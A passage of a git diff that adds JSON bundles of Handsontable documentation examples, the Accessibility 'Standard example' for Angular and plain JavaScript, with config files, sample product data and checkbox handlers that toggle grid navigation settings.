\"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n\n
    \n \n
    \n
    \n
    \n \n \n \n \n
    \n
    \n \n \n \n \n
    \n
    \n \n \n \n \n
    \n
    \n \n \n \n \n
    \n
    \n \n \n \n \n
    \n
    \n \n \n \n \n
    \n
    \n \n \n \n \n
    \n
    \n \n \n \n
    \n \n
    \n \n \n
    \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import {Component, OnInit, ViewChild} from '@angular/core';\nimport {GridSettings, HotTableComponent, HotTableModule} from '@handsontable/angular-wrapper';\nimport type Handsontable from 'handsontable/base';\n\n@Component({\n selector: 'app-example1',\n standalone: true,\n imports: [HotTableModule],\n template: `\n \n \n `,\n})\nexport class AppComponent implements OnInit {\n @ViewChild(HotTableComponent, {static: false}) hotTable!: HotTableComponent;\n\n hotData: Handsontable.RowObject[] = [];\n\n hotSettings!: GridSettings;\n\n ngOnInit() {\n const products = [\n {\n companyName: 'Hodkiewicz - Hintz',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-07-05',\n inStock: false,\n qty: 82,\n orderId: '16-3974628',\n country: 'United Kingdom',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-05-31',\n inStock: false,\n qty: 459,\n orderId: '77-7839351',\n country: 'Costa Rica',\n },\n {\n companyName: 'Reichert LLC',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-03-16',\n inStock: false,\n qty: 318,\n orderId: '75-6343150',\n country: 'United States of America',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-04-24',\n inStock: true,\n qty: 177,\n orderId: '56-3608689',\n country: 'Pitcairn Islands',\n },\n {\n companyName: 'Nader - Fritsch',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-04-29',\n inStock: true,\n qty: 51,\n orderId: '58-1204318',\n country: 'Argentina',\n },\n {\n companyName: 'Gerhold - Rowe',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-03-27',\n inStock: false,\n qty: 439,\n orderId: '62-6066132',\n country: 'Senegal',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Awesome Wooden Hat',\n sellDate: '2022-11-24',\n inStock: false,\n qty: 493,\n orderId: '76-7785471',\n country: 'Cyprus',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-08-11',\n inStock: false,\n qty: 225,\n orderId: '34-3551159',\n country: 'Saint Martin',\n },\n {\n companyName: 'Hodkiewicz - Hintz',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-02-07',\n inStock: false,\n qty: 261,\n orderId: '77-1112514',\n country: 'Chile',\n },\n {\n companyName: 'Hegmann Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-05-06',\n inStock: false,\n qty: 439,\n orderId: '12-3252385',\n country: 'Switzerland',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-04-22',\n inStock: true,\n qty: 235,\n orderId: '71-7639998',\n country: 'Brazil',\n },\n {\n companyName: 'Jacobi - Kutch',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2022-12-13',\n inStock: true,\n qty: 163,\n orderId: '68-1588829',\n country: 'Burkina Faso',\n },\n {\n companyName: 'Jenkins LLC',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-03-26',\n inStock: true,\n qty: 8,\n orderId: '61-6324553',\n country: 'Virgin Islands, U.S.',\n },\n {\n companyName: 'Koepp and Sons',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-05-04',\n inStock: true,\n qty: 355,\n orderId: '74-6985005',\n country: 'Mozambique',\n },\n {\n companyName: 'Doyle Group',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-08-01',\n inStock: false,\n qty: 186,\n orderId: '84-4370131',\n country: 'Cocos (Keeling) Islands',\n },\n {\n companyName: 'Rempel - Durgan',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 284,\n orderId: '13-6461825',\n country: 'Monaco',\n },\n {\n companyName: 'Lesch - Jakubowski',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-09-26',\n inStock: true,\n qty: 492,\n orderId: '13-9465439',\n country: 'Iran',\n },\n {\n companyName: 'Jacobi - Kutch',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-05-04',\n inStock: true,\n qty: 300,\n orderId: '76-5194058',\n country: 'Indonesia',\n },\n {\n companyName: 'Gerhold - Rowe',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-07-07',\n inStock: true,\n qty: 493,\n orderId: '61-8600792',\n country: 'Norfolk Island',\n },\n {\n companyName: 'Johnston - Wisozk',\n productName: 'Small Fresh Fish',\n sellDate: '2023-07-14',\n inStock: false,\n qty: 304,\n orderId: '10-6007287',\n country: 'Romania',\n },\n {\n companyName: 'Gutkowski Inc',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-01-10',\n inStock: true,\n qty: 375,\n orderId: '25-1164132',\n country: 'Afghanistan',\n },\n {\n companyName: 'Koepp and Sons',\n productName: 'Small Fresh Fish',\n sellDate: '2023-03-30',\n inStock: false,\n qty: 365,\n orderId: '75-7975820',\n country: 'Germany',\n },\n {\n companyName: 'Zboncak and Sons',\n productName: 'Small Fresh Fish',\n sellDate: '2023-08-17',\n inStock: false,\n qty: 308,\n orderId: '59-6251875',\n country: 'Tajikistan',\n },\n {\n companyName: 'Mills Group',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 191,\n orderId: '67-7521441',\n country: 'Puerto Rico',\n },\n {\n companyName: 'Zboncak and Sons',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-03-18',\n inStock: false,\n qty: 208,\n orderId: '19-4264192',\n country: 'Bolivia',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-06-14',\n inStock: true,\n qty: 191,\n orderId: '78-5742060',\n country: 'Benin',\n },\n {\n companyName: 'Upton - Reichert',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-02-27',\n inStock: false,\n qty: 45,\n orderId: '26-6191298',\n country: 'Tunisia',\n },\n {\n companyName: 'Carroll Group',\n productName: 'Rustic Soft Ball',\n sellDate: '2022-12-12',\n inStock: true,\n qty: 385,\n orderId: '13-7828353',\n country: 'French Southern Territories',\n },\n {\n companyName: 'Reichel Group',\n productName: 'Small Frozen Tuna',\n sellDate: '2022-12-12',\n inStock: true,\n qty: 117,\n orderId: '67-9643738',\n country: 'Mongolia',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-03-24',\n inStock: false,\n qty: 335,\n orderId: '78-1331653',\n country: 'Angola',\n },\n {\n companyName: 'Brown LLC',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-06-13',\n inStock: true,\n qty: 305,\n orderId: '63-2315723',\n country: 'French Southern Territories',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-09-07',\n inStock: true,\n qty: 409,\n orderId: '53-6782557',\n country: 'Indonesia',\n },\n {\n companyName: 'OReilly LLC',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-05-18',\n inStock: true,\n qty: 318,\n orderId: '91-7787675',\n country: 'Mayotte',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-04-20',\n inStock: false,\n qty: 234,\n orderId: '41-3560672',\n country: 'Switzerland',\n },\n {\n companyName: 'Hodkiewicz Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-10-19',\n inStock: true,\n qty: 136,\n orderId: '48-6028776',\n country: 'Peru',\n },\n {\n companyName: 'Lesch and Sons',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-09-29',\n inStock: false,\n qty: 187,\n orderId: '84-3770456',\n country: 'Central African Republic',\n },\n {\n companyName: 'Pouros - Brakus',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-01-29',\n inStock: false,\n qty: 350,\n orderId: '08-4844950',\n country: 'Isle of Man',\n },\n {\n companyName: 'Batz - Rice',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-11-06',\n inStock: false,\n qty: 252,\n orderId: '88-4899852',\n country: 'Burundi',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Small Fresh Fish',\n sellDate: '2023-09-05',\n inStock: true,\n qty: 306,\n orderId: '06-5022461',\n country: 'Mauritius',\n },\n {\n companyName: 'Hills and Sons',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-11-07',\n inStock: false,\n qty: 435,\n orderId: '99-5539911',\n country: 'Somalia',\n },\n {\n companyName: 'Shanahan - Boyle',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-06-19',\n inStock: true,\n qty: 171,\n orderId: '82-8162453',\n country: 'Virgin Islands, U.S.',\n },\n {\n companyName: 'Luettgen Inc',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 6,\n orderId: '02-8118250',\n country: 'Colombia',\n },\n {\n companyName: 'Hegmann Inc',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-02-16',\n inStock: true,\n qty: 278,\n orderId: '07-9773343',\n country: 'Central African Republic',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-08-08',\n inStock: false,\n qty: 264,\n orderId: '66-4470479',\n country: 'Norfolk Island',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-06-06',\n inStock: true,\n qty: 494,\n orderId: '13-1175339',\n country: 'Liechtenstein',\n },\n {\n companyName: 'Hahn - Welch',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-06-12',\n inStock: false,\n qty: 485,\n orderId: '32-9127309',\n country: 'Bahrain',\n },\n {\n companyName: 'Nader - Fritsch',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-04-08',\n inStock: true,\n qty: 332,\n orderId: '41-3774568',\n country: 'Montserrat',\n },\n {\n companyName: 'Crona and Sons',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-06-21',\n inStock: true,\n qty: 104,\n orderId: '48-9995090',\n country: 'Syrian Arab Republic',\n },\n {\n companyName: 'Lind Group',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-08-17',\n inStock: false,\n qty: 51,\n orderId: '68-9599400',\n country: 'Czech Republic',\n },\n {\n companyName: 'Labadie LLC',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-04-20',\n inStock: true,\n qty: 155,\n orderId: '52-4334332',\n country: 'Croatia',\n },\n {\n companyName: 'Doyle Group',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-07-23',\n inStock: false,\n qty: 465,\n orderId: '63-8894526',\n country: 'Indonesia',\n },\n ];\n\n const countries = products.reduce((acc, curr) => {\n if (acc.includes(curr.country)) {\n return acc;\n }\n\n return [...acc, curr.country];\n }, [] as string[]);\n\n this.hotData = [...products];\n\n this.hotSettings = {\n height: 464,\n colWidths: [160, 165, 130, 100, 100, 110, 216],\n autoRowSize: true,\n colHeaders: [\n 'Company name',\n 'Product name',\n 'Sell date',\n 'In stock',\n 'Qty',\n 'Order ID',\n 'Country',\n ],\n columns: [\n { data: 'companyName', type: 'text' },\n { data: 'productName', type: 'text' },\n {\n data: 'sellDate',\n type: 'intl-date',\n locale: 'en-GB',\n dateFormat: { day: '2-digit', month: '2-digit', year: 'numeric' },\n },\n {\n data: 'inStock',\n type: 'checkbox',\n className: 'htCenter',\n headerClassName: 'htCenter',\n },\n {\n data: 'qty',\n type: 'numeric',\n headerClassName: 'htRight',\n },\n {\n data: 'orderId',\n type: 'text',\n },\n {\n data: 'country',\n type: 'dropdown',\n source: countries,\n },\n ],\n dropdownMenu: true,\n hiddenColumns: {\n indicators: true,\n },\n contextMenu: true,\n navigableHeaders: true,\n tabNavigation: true,\n autoWrapRow: true,\n autoWrapCol: true,\n multiColumnSorting: true,\n filters: true,\n rowHeaders: true,\n manualRowMove: true,\n headerClassName: 'htLeft',\n }\n\n // Initialize the Handsontable instance with the specified configuration options\n\n const setupCheckbox = (element: HTMLInputElement | null, callback: (checked: boolean) => void) =>\n element?.addEventListener('click', () => callback(element.checked));\n\n // Set up event listeners for various checkboxes to update Handsontable settings.\n // This allows us to change the Handsontable settings from the UI, showcasing\n // the flexibility of Handsontable in configuring according to your needs.\n // Checkbox: Enable/Disable Tab Navigation\n setupCheckbox(document.querySelector('#enable-tab-navigation'), (checked: boolean) => {\n this.hotSettings['tabNavigation'] = checked;\n this.hotTable.hotInstance!.updateSettings({\n tabNavigation: this.hotSettings['tabNavigation'],\n });\n console.log(\n 'Updated setting: tabNavigation to',\n this.hotTable.hotInstance!.getSettings().tabNavigation\n );\n });\n // Checkbox: Enable/Disable Header Navigation\n setupCheckbox(\n document.querySelector('#enable-header-navigation'),\n (checked: boolean) => {\n this.hotSettings['navigableHeaders'] = checked;\n this.hotTable.hotInstance!.updateSettings({\n navigableHeaders: this.hotSettings['navigableHeaders'],\n });\n console.log(\n 'Updated setting: navigableHeaders to',\n this.hotTable.hotInstance!.getSettings().navigableHeaders\n );\n }\n );\n\n // Checkbox: Enable/Disable Cell Virtualization\n setupCheckbox(\n document.querySelector('#enable-cell-virtualization'),\n (checked: boolean) => {\n this.hotTable.hotInstance!.updateSettings({\n renderAllRows: !checked,\n renderAllColumns: !checked,\n });\n console.log('Updated virtualization settings:', {\n renderAllRows: this.hotTable.hotInstance!.getSettings().renderAllRows,\n renderAllColumns: this.hotTable.hotInstance!.getSettings().renderAllColumns,\n });\n }\n );\n // Checkbox: Enable/Disable Cell Enter Editing\n setupCheckbox(\n document.querySelector('#enable-cell-enter-editing'),\n (checked: boolean) => {\n this.hotSettings['enterBeginsEditing'] = checked;\n this.hotTable.hotInstance!.updateSettings({\n enterBeginsEditing: this.hotSettings['enterBeginsEditing'],\n });\n console.log(\n 'Updated setting: enable-cell-enter-editing to',\n this.hotTable.hotInstance!.getSettings().enterBeginsEditing\n );\n }\n );\n // Checkbox: Enable/Disable Arrow Navigation for First/Last Row\n setupCheckbox(\n document.querySelector('#enable-arrow-rl-first-last-column'),\n (checked: boolean) => {\n this.hotSettings['autoWrapRow'] = checked;\n this.hotTable.hotInstance!.updateSettings({\n autoWrapRow: this.hotSettings['autoWrapRow'],\n });\n console.log(\n 'Updated setting: autoWrapRow to',\n this.hotTable.hotInstance!.getSettings().autoWrapRow\n );\n }\n );\n // Checkbox: Enable/Disable Arrow Navigation for First/Last Column\n setupCheckbox(\n document.querySelector('#enable-arrow-td-first-last-column'),\n (checked: boolean) => {\n this.hotSettings['autoWrapCol'] = checked;\n this.hotTable.hotInstance!.updateSettings({\n autoWrapCol: this.hotSettings['autoWrapCol'],\n });\n console.log(\n 'Updated setting: autoWrapCol to',\n this.hotTable.hotInstance!.getSettings().autoWrapCol\n );\n }\n );\n // Checkbox: Enable/Disable Enter Key Focus for Editing\n setupCheckbox(\n document.querySelector('#enable-enter-focus-editing'),\n (checked: boolean) => {\n this.hotSettings['enterMoves'] = checked ? { col: 0, row: 1 } : { col: 0, row: 0 };\n this.hotTable.hotInstance!.updateSettings({\n enterMoves: this.hotSettings['enterMoves'],\n });\n console.log('Updated setting: enterMoves to', this.hotTable.hotInstance!.getSettings().enterMoves);\n }\n );\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessibility/accessibility/angular/example1.ts","breadcrumb":["Accessibility"],"guide":"guides/accessibility/accessibility/accessibility.md","guideTitle":"Accessibility","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/accessibility","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessibility__accessibility__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__accessibility__accessibility__javascript__example1.js.json new file mode 100644 index 00000000..46049d25 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessibility__accessibility__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Accessibility · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n
    \n \n Enable navigation with the Tab key\n \n \n \n \n \n \n \n
    \n
    \n \n \n Enable navigation across headers\n \n \n \n \n \n \n \n
    \n
    \n \n \n Enable cells virtualization\n \n \n \n \n \n \n \n
    \n
    \n \n The Enter key begins cell editing\n \n \n \n \n \n \n \n
    \n
    \n \n The right/left arrow keys wrap focus to the adjacent row\n \n \n \n \n \n \n \n
    \n
    \n \n \n The up/down arrow keys wrap focus to the adjacent column\n \n \n \n \n \n \n \n
    \n
    \n \n \n The Enter key moves the focus after cell edition\n \n \n \n \n \n \n \n
    \n
    \n \n \n \n
    \n \n \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\n/* start:skip-in-preview */\nconst products = [\n {\n companyName: 'Hodkiewicz - Hintz',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-07-05',\n inStock: false,\n qty: 82,\n orderId: '16-3974628',\n country: 'United Kingdom',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-05-31',\n inStock: false,\n qty: 459,\n orderId: '77-7839351',\n country: 'Costa Rica',\n },\n {\n companyName: 'Reichert LLC',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-03-16',\n inStock: false,\n qty: 318,\n orderId: '75-6343150',\n country: 'United States of America',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-04-24',\n inStock: true,\n qty: 177,\n orderId: '56-3608689',\n country: 'Pitcairn Islands',\n },\n {\n companyName: 'Nader - Fritsch',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-04-29',\n inStock: true,\n qty: 51,\n orderId: '58-1204318',\n country: 'Argentina',\n },\n {\n companyName: 'Gerhold - Rowe',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-03-27',\n inStock: false,\n qty: 439,\n orderId: '62-6066132',\n country: 'Senegal',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Awesome Wooden Hat',\n sellDate: '2022-11-24',\n inStock: false,\n qty: 493,\n orderId: '76-7785471',\n country: 'Cyprus',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-08-11',\n inStock: false,\n qty: 225,\n orderId: '34-3551159',\n country: 'Saint Martin',\n },\n {\n companyName: 'Hodkiewicz - Hintz',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-02-07',\n inStock: false,\n qty: 261,\n orderId: '77-1112514',\n country: 'Chile',\n },\n {\n companyName: 'Hegmann Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-05-06',\n inStock: false,\n qty: 439,\n orderId: '12-3252385',\n country: 'Switzerland',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-04-22',\n inStock: true,\n qty: 235,\n orderId: '71-7639998',\n country: 'Brazil',\n },\n {\n companyName: 'Jacobi - Kutch',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2022-12-13',\n inStock: true,\n qty: 163,\n orderId: '68-1588829',\n country: 'Burkina Faso',\n },\n {\n companyName: 'Jenkins LLC',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-03-26',\n inStock: true,\n qty: 8,\n orderId: '61-6324553',\n country: 'Virgin Islands, U.S.',\n },\n {\n companyName: 'Koepp and Sons',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-05-04',\n inStock: true,\n qty: 355,\n orderId: '74-6985005',\n country: 'Mozambique',\n },\n {\n companyName: 'Doyle Group',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-08-01',\n inStock: false,\n qty: 186,\n orderId: '84-4370131',\n country: 'Cocos (Keeling) Islands',\n },\n {\n companyName: 'Rempel - Durgan',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 284,\n orderId: '13-6461825',\n country: 'Monaco',\n },\n {\n companyName: 'Lesch - Jakubowski',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-09-26',\n inStock: true,\n qty: 492,\n orderId: '13-9465439',\n country: 'Iran',\n },\n {\n companyName: 'Jacobi - Kutch',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-05-04',\n inStock: true,\n qty: 300,\n orderId: '76-5194058',\n country: 'Indonesia',\n },\n {\n companyName: 'Gerhold - Rowe',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-07-07',\n inStock: true,\n qty: 493,\n orderId: '61-8600792',\n country: 'Norfolk Island',\n },\n {\n companyName: 'Johnston - Wisozk',\n productName: 'Small Fresh Fish',\n sellDate: '2023-07-14',\n inStock: false,\n qty: 304,\n orderId: '10-6007287',\n country: 'Romania',\n },\n {\n companyName: 'Gutkowski Inc',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-01-10',\n inStock: true,\n qty: 375,\n orderId: '25-1164132',\n country: 'Afghanistan',\n },\n {\n companyName: 'Koepp and Sons',\n productName: 'Small Fresh Fish',\n sellDate: '2023-03-30',\n inStock: false,\n qty: 365,\n orderId: '75-7975820',\n country: 'Germany',\n },\n {\n companyName: 'Zboncak and Sons',\n productName: 'Small Fresh Fish',\n sellDate: '2023-08-17',\n inStock: false,\n qty: 308,\n orderId: '59-6251875',\n country: 'Tajikistan',\n },\n {\n companyName: 'Mills Group',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 191,\n orderId: '67-7521441',\n country: 'Puerto Rico',\n },\n {\n companyName: 'Zboncak and Sons',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-03-18',\n inStock: false,\n qty: 208,\n orderId: '19-4264192',\n country: 'Bolivia',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-06-14',\n inStock: true,\n qty: 191,\n orderId: '78-5742060',\n country: 'Benin',\n },\n {\n companyName: 'Upton - Reichert',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-02-27',\n inStock: false,\n qty: 45,\n orderId: '26-6191298',\n country: 'Tunisia',\n },\n {\n companyName: 'Carroll Group',\n productName: 'Rustic Soft Ball',\n sellDate: '2022-12-12',\n inStock: true,\n qty: 385,\n orderId: '13-7828353',\n country: 'Switzerland',\n },\n {\n companyName: 'Reichel Group',\n productName: 'Small Frozen Tuna',\n sellDate: '2022-12-12',\n inStock: true,\n qty: 117,\n orderId: '67-9643738',\n country: 'Mongolia',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-03-24',\n inStock: false,\n qty: 335,\n orderId: '78-1331653',\n country: 'Angola',\n },\n {\n companyName: 'Brown LLC',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-06-13',\n inStock: true,\n qty: 305,\n orderId: '63-2315723',\n country: 'Switzerland',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-09-07',\n inStock: true,\n qty: 409,\n orderId: '53-6782557',\n country: 'Indonesia',\n },\n {\n companyName: 'OReilly LLC',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-05-18',\n inStock: true,\n qty: 318,\n orderId: '91-7787675',\n country: 'Mayotte',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-04-20',\n inStock: false,\n qty: 234,\n orderId: '41-3560672',\n country: 'Switzerland',\n },\n {\n companyName: 'Hodkiewicz Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-10-19',\n inStock: true,\n qty: 136,\n orderId: '48-6028776',\n country: 'Peru',\n },\n {\n companyName: 'Lesch and Sons',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-09-29',\n inStock: false,\n qty: 187,\n orderId: '84-3770456',\n country: 'Central African Republic',\n },\n {\n companyName: 'Pouros - Brakus',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-01-29',\n inStock: false,\n qty: 350,\n orderId: '08-4844950',\n country: 'Isle of Man',\n },\n {\n companyName: 'Batz - Rice',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-11-06',\n inStock: false,\n qty: 252,\n orderId: '88-4899852',\n country: 'Burundi',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Small Fresh Fish',\n sellDate: '2023-09-05',\n inStock: true,\n qty: 306,\n orderId: '06-5022461',\n country: 'Mauritius',\n },\n {\n companyName: 'Hills and Sons',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-11-07',\n inStock: false,\n qty: 435,\n orderId: '99-5539911',\n country: 'Somalia',\n },\n {\n companyName: 'Shanahan - Boyle',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-06-19',\n inStock: true,\n qty: 171,\n orderId: '82-8162453',\n country: 'Virgin Islands, U.S.',\n },\n {\n companyName: 'Luettgen Inc',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 6,\n orderId: '02-8118250',\n country: 'Colombia',\n },\n {\n companyName: 'Hegmann Inc',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-02-16',\n inStock: true,\n qty: 278,\n orderId: '07-9773343',\n country: 'Central African Republic',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-08-08',\n inStock: false,\n qty: 264,\n orderId: 